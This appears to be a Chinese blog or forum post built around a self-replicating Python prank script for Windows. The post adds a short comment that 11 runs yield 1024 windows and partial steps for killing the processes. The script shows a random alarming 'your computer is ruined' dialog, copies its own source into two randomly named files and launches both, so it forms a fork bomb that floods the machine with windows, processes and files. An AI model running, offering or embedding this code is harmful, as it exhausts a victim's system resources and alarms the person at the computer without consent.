from tkinter import Tkfrom tkinter.messagebox import showinfo,showwarning,showerrorfrom random import randintfrom os import system,nametitle = "Message"message = "很不好意思,您的电脑废了"loops = []hide = Tk()hide.withdraw()def main(): # 实现自我繁衍 global loops randwindow = randint(0,2) if randwindow == 0: showinfo(title,message) elif randwindow == 1: showwarning(title,message) else: showerror(title,message) with open(__file__,"r",encoding="utf-8") as f: text = f.read() for i in range(0,2): content = "./%d.py" % randint(100000,999999) with open(content,"w",encoding="utf-8") as f: f.write(text) loops.append(content) for i in range(0,2): system("start /min cmd /c python %s" % loops[i])# 此程序仅可在Windows系统运行if __name__ == "__main__" and name == "nt": main()else: showerror("Message","无法运行程序,原因可能是:n①(1)您非主动运行程序。n(2)这个程序不能在当前系统下运行,请尝试其他操作系统。") exit()hide.mainloop()
这个程序没把我气死。
按照这样,11次运行后,就能生成1024个窗口!!
怎么关掉呢???
第一步干掉进程:py.exe和cmd.exe。
第二步干掉生成的文件:
好 家 伙